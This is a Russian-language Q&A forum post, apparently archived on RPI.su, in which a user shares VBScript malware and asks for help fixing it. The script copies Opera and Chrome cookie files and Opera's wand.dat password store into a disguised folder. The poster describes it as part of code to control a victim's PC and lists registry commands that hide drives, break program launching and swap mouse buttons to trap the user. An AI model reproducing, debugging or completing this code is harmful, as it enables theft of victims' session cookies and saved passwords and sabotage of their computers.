Set FileSystemObject = CreateObject("scripting.filesystemobject")
set WshShell1 = WScript.CreateObject("WScript.Shell")
str = "C:\Users\Default\AppData\Roaming\Opera\Opera\cookies4.dat"
str = "C:\Users\Default\AppData\Local\Google\Chrome\User Data\Default\Cookies"
str = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\profile\wand.dat"
If FileSystemObject.fileExists(str) = True Then
FileSystemObject.copyfile "C:\Users\Default\AppData\Roaming\Opera\Opera\cookies4.dat ,"C:\System Object Server\cookies4.dat"
FileSystemObject.copyfile "C:\Users\Default\AppData\Local\Google\Chrome\User Data\Default\Cookies ,"C:\System Object Server\Cookies"
FileSystemObject.copyfile "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\profile\wand.dat" ,"C:\System Object Server\wand.dat"
Else
End If
Не уверен в правильности написания пути к Cookies файлам. Так же не тестировал его на перенос файлов без разрешения. Ваши советы или подчеркните мои ошибки.
Примечание:
А это только начало, там код еще на более жестокую тему рассчитан. А это лишь его часть в которой я сомневаюсь.
Примечание:
Нет конечно, у него совершенно другая задача. Контроль за ПК пользователя. Автозапуск и крипторы на него толком не подействовали, видимо, надо делать все в ручную.
Такие команды как;
s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives","67108863","REG_DWORD"
s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive","67108863","REG_DWORD"
s.regwrite"HKCRexefileshellopencommand","rundll32.exe"
s.run"rundll32 user32, SwapMouseButton"
Созданы чтобы пользователь временно застрял, пока я свое дело делаю :D
RPI.su - самая большая русскоязычная база вопросов и ответов. Наш проект был реализован как продолжение популярного сервиса otvety.google.ru, который был закрыт и удален 30 апреля 2015 года. Мы решили воскресить полезный сервис Ответы Гугл, чтобы любой человек смог публично узнать ответ на свой вопрос у интернет сообщества.
Все вопросы, добавленные на сайт ответов Google, мы скопировали и сохранили здесь. Имена старых пользователей также отображены в том виде, в котором они существовали ранее. Только нужно заново пройти регистрацию, чтобы иметь возможность задавать вопросы, или отвечать другим.
Чтобы связаться с нами по любому вопросу О САЙТЕ (реклама, сотрудничество, отзыв о сервисе), пишите на почту [email protected]. Только все общие вопросы размещайте на сайте, на них ответ по почте не предоставляется.